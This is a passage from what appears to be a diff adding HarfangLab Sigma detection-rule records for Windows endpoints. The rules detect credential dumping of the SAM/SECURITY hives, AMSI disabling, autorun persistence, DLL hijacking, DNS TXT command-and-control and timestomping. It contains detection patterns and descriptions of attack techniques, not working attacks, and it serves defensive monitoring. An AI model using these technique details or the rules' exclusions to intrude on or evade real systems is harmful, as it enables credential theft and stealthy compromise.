attack.t1218\n    - attack.t1574.008\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.CustomShellHost\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\customshellhost.exe'\n        Image|endswith: '\\explorer.exe'\n\n    filter_explorer:\n        Image: '?:\\Windows\\explorer.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "904d22a6-6fea-4a89-a827-448a7d0fbdc5",
+  "rule_name": "Proxy Execution via CustomShellHost.exe",
+  "rule_description": "Detects the execution of a malicious explorer.exe process spawned by the legitimate CustomShellHost.exe binary.\nCustomShellHost.exe is a host process used by custom shells when using Windows in Kiosk mode. When executed without parameters, it will launch explorer.exe with the \"/NoShellRegistrationCheck\" argument if explorer.exe is present in the current working directory.\nAdversaries may bypass process and/or signature-based defenses by renaming a binary to \"explorer.exe\" to proxy execution of malicious content with signed, or otherwise trusted, binaries.\nIt is recommended to investigate the explorer.exe file being run by CustomShellHost.exe, verify if CustomShellHost.exe should be running on the system (as it's unlikely to run on normal workstations), and examine potential malicious actions performed by the spawned explorer.exe process to determine if this activity was legitimate.\n",
+  "rule_creation_date": "2025-06-13",
+  "rule_modified_date": "2025-06-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218",
+    "attack.t1574.008"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "907e5765-e7f7-4b8f-886c-749bf315fe52",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.624677Z",
+  "creation_date": "2026-03-23T11:45:34.624679Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624683Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2024/01/29/buzzing-on-christmas-eve-trigona-ransomware-in-3-hours/",
+    "https://attack.mitre.org/techniques/T1547/001/"
+  ],
+  "name": "t1547_001_persistence_registry_asep_remote.yml",
+  "content": "title: Registry Autorun Key Added from Remote Session\nid: 907e5765-e7f7-4b8f-886c-749bf315fe52\ndescription: |\n    Detects when a suspicious entry is added or modified in one of the autostart extensibility points (ASEP) in the registry, which may indicate an attempt to establish persistence.\n    Autostart extensibility points are registry locations that Windows uses to automatically execute programs during system startup or user logon. Common ASEP locations include Run and RunOnce keys under \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\" and \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\". Attackers frequently abuse these registry keys to achieve persistence by adding entries that reference malicious executables, scripts, or commands. This technique allows malware to survive system reboots and maintain a foothold on the compromised system without requiring user interaction.\n    It is recommended to investigate the process that created or modified the registry key, examine the target executable or command referenced in the registry value and verify whether the entry corresponds to legitimate software.\nreferences:\n    - https://thedfirreport.com/2024/01/29/buzzing-on-christmas-eve-trigona-ransomware-in-3-hours/\n    - https://attack.mitre.org/techniques/T1547/001/\ndate: 2025/10/21\nmodified: 2025/12/10\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1547.001\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|contains:\n            # run keys (run / runonce / runonceex / runservices / runservicesonce )\n            - '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\'\n            # covers RunOnce and RunOnce\\Setup\n            - '\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\'\n            # covers RunOnceEx\\000x\\value and RunOnceEx\\000x\\Depend\\value\n            - '\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\'\n            - '\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\\'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunServices\\'\n            - '\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\\'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\\'\n            - '\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\'\n            - '\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load'\n            - '\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Run'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Run'\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Session Manager\\BootExecute'\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Session Manager\\BootExecuteNoPnpSync'\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Session Manager\\SetupExecute'\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Session Manager\\PlatformExecute'\n        ProcessCommandLine:\n            - '?:\\WINDOWS\\system32\\svchost.exe -k localService -p -s RemoteRegistry'\n            - '?:\\Windows\\system32\\svchost.exe -k LocalService'\n            - '?:\\Windows\\system32\\svchost.exe -k regsvc'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "907e5765-e7f7-4b8f-886c-749bf315fe52",
+  "rule_name": "Registry Autorun Key Added from Remote Session",
+  "rule_description": "Detects when a suspicious entry is added or modified in one of the autostart extensibility points (ASEP) in the registry, which may indicate an attempt to establish persistence.\nAutostart extensibility points are registry locations that Windows uses to automatically execute programs during system startup or user logon. Common ASEP locations include Run and RunOnce keys under \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\" and \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\". Attackers frequently abuse these registry keys to achieve persistence by adding entries that reference malicious executables, scripts, or commands. This technique allows malware to survive system reboots and maintain a foothold on the compromised system without requiring user interaction.\nIt is recommended to investigate the process that created or modified the registry key, examine the target executable or command referenced in the registry value and verify whether the entry corresponds to legitimate software.\n",
+  "rule_creation_date": "2025-10-21",
+  "rule_modified_date": "2025-12-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1547.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "90925be7-7d69-42de-a7d3-1aaf59bddb05",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079717Z",
+  "creation_date": "2026-03-23T11:45:34.079719Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079723Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://i.blackhat.com/briefings/asia/2018/asia-18-Tal-Liberman-Documenting-the-Undocumented-The-Rise-and-Fall-of-AMSI.pdf"
+  ],
+  "name": "t1562_001_disable_amsi_windows_script.yml",
+  "content": "title: Windows Scripts AMSI Disabled\nid: 90925be7-7d69-42de-a7d3-1aaf59bddb05\ndescription: |\n    Detects the disabling of the Antimalware Scan Interface (AMSI) for Windows Scrips (VBA and JScript) through the registry.\n    Attackers may want to disable the AMSI for Windows as a mean to evade security solutions.\n    It is recommended to analyze the process responsible for the registry edit to look for malicious content, as well as subsequent malicious JScript or VBA scripts execution.\nreferences:\n    - https://i.blackhat.com/briefings/asia/2018/asia-18-Tal-Liberman-Documenting-the-Undocumented-The-Rise-and-Fall-of-AMSI.pdf\ndate: 2020/10/05\nmodified: 2025/01/09\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.t1562.006\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.AMSIBypass\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        # Match on HKCU and HKLM here (HKLM is now used on newer version of Windows 10, used to be HKCU).\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows Script\\Settings\\AmsiEnable'\n\n    filter_is_empty:\n        Details:\n            - ''\n            - '(Empty)'\n\n    condition: selection and not filter_is_empty\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "90925be7-7d69-42de-a7d3-1aaf59bddb05",
+  "rule_name": "Windows Scripts AMSI Disabled",
+  "rule_description": "Detects the disabling of the Antimalware Scan Interface (AMSI) for Windows Scrips (VBA and JScript) through the registry.\nAttackers may want to disable the AMSI for Windows as a mean to evade security solutions.\nIt is recommended to analyze the process responsible for the registry edit to look for malicious content, as well as subsequent malicious JScript or VBA scripts execution.\n",
+  "rule_creation_date": "2020-10-05",
+  "rule_modified_date": "2025-01-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1562.001",
+    "attack.t1562.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "90acffa0-c732-46ee-84c6-fd4eafaad163",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628075Z",
+  "creation_date": "2026-03-23T11:45:34.628077Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628081Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/fortra/impacket/blob/e692d9052fcba896f74fc60feb048c4666590003/impacket/examples/secretsdump.py#L919",
+    "https://attack.mitre.org/techniques/T1003/002/"
+  ],
+  "name": "t1003_002_secretsdump_reg_save.yml",
+  "content": "title: SAM or SECURITY Hives Dumped from Registry via Impacket Secretsdump\nid: 90acffa0-c732-46ee-84c6-fd4eafaad163\ndescription: |\n    Detects a registry save to file operation of the SAM or SECURITY registry hives with a specific file path characteristic of Impacket's Secretsdump.py.\n    The Security Account Manager (SAM) and SECURITY registry hives in Microsoft Windows store sensitive user authentication and security policy information.\n    Tools like Impacket's secretsdump.py can export these hives to steal credentials or manipulate security settings.\n    These operations are a common tactic used by attackers to extract sensitive information that can be used for lateral movement or to further attacks.\n    It is recommended to verify the legitimacy of the export and check for unusual network connections and authentications to the target machine.\nreferences:\n    - https://github.com/fortra/impacket/blob/e692d9052fcba896f74fc60feb048c4666590003/impacket/examples/secretsdump.py#L919\n    - https://attack.mitre.org/techniques/T1003/002/\ndate: 2024/06/10\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.002\n    - classification.Windows.Source.Registry\n    - classification.Windows.Framework.Impacket\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SaveKey'\n        TargetObject:\n            - 'HKLM\\SECURITY'\n            - 'HKLM\\SAM'\n        ProcessImage: '?:\\Windows\\system32\\svchost.exe'\n        HivePath:\n            - '?:\\windows\\system32\\\\????????.tmp'\n            - '?:\\Windows\\Temp\\\\????????.tmp'\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "90acffa0-c732-46ee-84c6-fd4eafaad163",
+  "rule_name": "SAM or SECURITY Hives Dumped from Registry via Impacket Secretsdump",
+  "rule_description": "Detects a registry save to file operation of the SAM or SECURITY registry hives with a specific file path characteristic of Impacket's Secretsdump.py.\nThe Security Account Manager (SAM) and SECURITY registry hives in Microsoft Windows store sensitive user authentication and security policy information.\nTools like Impacket's secretsdump.py can export these hives to steal credentials or manipulate security settings.\nThese operations are a common tactic used by attackers to extract sensitive information that can be used for lateral movement or to further attacks.\nIt is recommended to verify the legitimacy of the export and check for unusual network connections and authentications to the target machine.\n",
+  "rule_creation_date": "2024-06-10",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "90c34db9-cb9c-454f-a5d1-d38abba9b4cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626399Z",
+  "creation_date": "2026-03-23T11:45:34.626401Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626406Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1071/004/"
+  ],
+  "name": "t1071_004_suspicious_txt_dns.yml",
+  "content": "title: Suspicious TXT DNS Resolution (Windows)\nid: 90c34db9-cb9c-454f-a5d1-d38abba9b4cc\ndescription: |\n    Detects a suspicious TXT DNS request that could be related to an implant communication.\n    Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic.\n    It is recommended to analyze the process at the origin of the request for malicious activities.\nreferences:\n    - https://attack.mitre.org/techniques/T1071/004/\ndate: 2024/03/28\nmodified: 2026/01/12\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1071.004\n    - classification.Windows.Source.DnsQuery\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: dns_query\ndetection:\n    selection:\n        QueryType: 'TXT'\n        QueryStatusCategory: 'success'\n        TextRecords|contains: \"?\"\n        QueryName|contains: '.' # DNS domain MUST contains a ., otherwise it is a local name\n\n    filter_mail:\n        TextRecords|contains:\n            - 'v=DKIM1'\n            - 'v=spf1'\n            - 'k=rsa'\n            - 'v=DMARC1'\n\n    filter_site_verification:\n        TextRecords|contains:\n            - 'apple-domain-verification='\n            - 'google-site-verification='\n            - 'facebook-domain-verification='\n            - 'adobe-idp-site-verification='\n            - 'MS=ms????????'\n\n    filter_know_requested_name:\n        QueryName|endswith:\n            - '.local' # ignore local DNS\n            - 'whoami.cloudflare.com'\n            - 'o-o.myaddr.l.google.com'\n            - '.psbl.surriel.com' # Passive spam blocklist\n            - '.cbl.abuseat.org' # The Abuseat CBL (Composite Blocking List)\n            - '._segment._tcp.steelseries.com'\n            - 'config.nos.avast.com.'\n            - 'config.nos.avast.com'\n            - '_nos._tcp.nos.avast.com.'\n            - '_nos._tcp.nos.avast.com'\n            - '.nos-avg.cz.' # Norton, Avast, AVG, ...\n            - '.nos-avg.cz' # Norton, Avast, AVG, ...\n            - '.logmein-gateway.com.'\n            - '.logmein-gateway.com'\n            - 'xmbc.highrez.co.uk' # some tool to manage mouse buttons\n            - 'ingress.cloudflare-ipfs.com'\n            - '.argotunnel.com' # Cloudflare tunnel client\n            - '_dnsaddr.bootstrap.libp2p.io'\n            - 'account.filemaker-cloud.com'\n            - '.mongodb.net'\n            - '.trellix.com' # McAfee\n            - 'current.cvd.clamav.net.'\n            - 'current.cvd.clamav.net'\n            - 'push.apple.com'\n            - '.kmaxcdn.com'\n            - '.hotmail.com'\n            - 'feed.snipaste.com'\n            - '.gpsoft.com.au'\n            - 'minatec.wisper.infra-??.cw-wisper.com'\n            - 'releaseversion.ghisler.com'\n\n    filter_amazon_ses:\n        # xxx._domainkey.yyy.com , type TXT, redirects through a CNAME to xxx.dkip.amazonses.com\n        QueryName: '????????????????????????????????._domainkey.*'\n        TextRecords: 'p=MI*' # contains a public key\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_dnscache:\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k NetworkService -p -s Dnscache'\n\n    exclusion_svchost_sharedaccess:\n        ProcessCommandLine: '?:\\Windows\\System32\\svchost.exe -k netsvcs -p -s SharedAccess'\n\n    exclusion_ipconfig:\n        ProcessCommandLine: '?:\\windows\\System32\\ipconfig.exe /displaydns'\n\n    exclusion_defender:\n        ProcessOriginalFileName:\n            - 'MsMpEng.exe'\n            - 'MsSense.exe'\n            - 'NisSrv.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n\n    exclusion_torrent:\n        ProcessDescription: 'µTorrent'\n        ProcessSigned: 'true'\n        ProcessSignature: 'BitTorrent Inc'\n\n    exclusion_bravebrowser:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Brave Software, Inc.'\n\n    exclusion_bimi1:\n        QueryName|contains: '._bimi.'\n        QueryResults|contains|all:\n            - '16 v=BIMI1;'\n            - 'a=http'\n            - 'l=http'\n\n    exclusion_securitygateway:\n        ProcessImage|endswith: '\\SecurityGateway\\App\\SecurityGateway.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'MDaemon Technologies, Ltd.'\n\n    exclusion_gpsoft:\n        ProcessImage|endswith: '\\DirectoryOpusPortable\\App\\Directory Opus\\dopus.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'GP Software (Redbrook Pty Ltd)'\n\n    exclusion_dkim:\n        TextRecords|contains:\n            - 'p=MIGf'\n            - 'p= MIGf'\n            - 'p=MIIBIj'\n            - 'p= MIIBIj'\n        QueryName|contains: '._domainkey.'\n\n    exclusion_dmarc:\n        TextRecords|contains: 'ruf=mailto:'\n        QueryName|contains: '_dmarc.'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "90c34db9-cb9c-454f-a5d1-d38abba9b4cc",
+  "rule_name": "Suspicious TXT DNS Resolution (Windows)",
+  "rule_description": "Detects a suspicious TXT DNS request that could be related to an implant communication.\nAdversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic.\nIt is recommended to analyze the process at the origin of the request for malicious activities.\n",
+  "rule_creation_date": "2024-03-28",
+  "rule_modified_date": "2026-01-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "90c6740d-685d-400b-885f-04d7a447a338",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082673Z",
+  "creation_date": "2026-03-23T11:45:34.082676Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082680Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_systempropertieshardware.yml",
+  "content": "title: DLL Hijacking via systempropertieshardware.exe\nid: 90c6740d-685d-400b-885f-04d7a447a338\ndescription: |\n    Detects potential Windows DLL Hijacking via systempropertieshardware.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'systempropertieshardware.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\bcd.dll'\n            - '\\WINSTA.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "90c6740d-685d-400b-885f-04d7a447a338",
+  "rule_name": "DLL Hijacking via systempropertieshardware.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via systempropertieshardware.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "90ca0fdc-affa-4d5e-a5f1-ce8a843ed720",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620336Z",
+  "creation_date": "2026-03-23T11:45:34.620338Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620342Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://posts.specterops.io/revisiting-ttps-timestomper-622d4c28a655",
+    "https://github.com/guardicore/monkey/blob/release/1.13.0/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.ps1",
+    "https://github.com/mitre-attack/attack-arsenal/blob/c056b51942ffae1d0f3416cd14f14f8795d74c16/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/timestomp.ps1",
+    "https://attack.mitre.org/techniques/T1070/006/"
+  ],
+  "name": "t1070_006_powershell_timestomp.yml",
+  "content": "title: Possible Timestomp via PowerShell\nid: 90ca0fdc-affa-4d5e-a5f1-ce8a843ed720\ndescription: |\n    Detects an attempt at timestomping via PowerShell.\n    Timestomping consists in changing the modify file time attributes to hide changes to existing files.\n    It is recommended to investigate the PowerShell script that performed the timestomp to look for other potential malicious actions.\nreferences:\n    - https://posts.specterops.io/revisiting-ttps-timestomper-622d4c28a655\n    - https://github.com/guardicore/monkey/blob/release/1.13.0/monkey/infection_monkey/post_breach/timestomping/windows/timestomping.ps1\n    - https://github.com/mitre-attack/attack-arsenal/blob/c056b51942ffae1d0f3416cd14f14f8795d74c16/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/timestomp.ps1\n    - https://attack.mitre.org/techniques/T1070/006/\ndate: 2022/01/25\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.006\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: powershell_event\n    product: 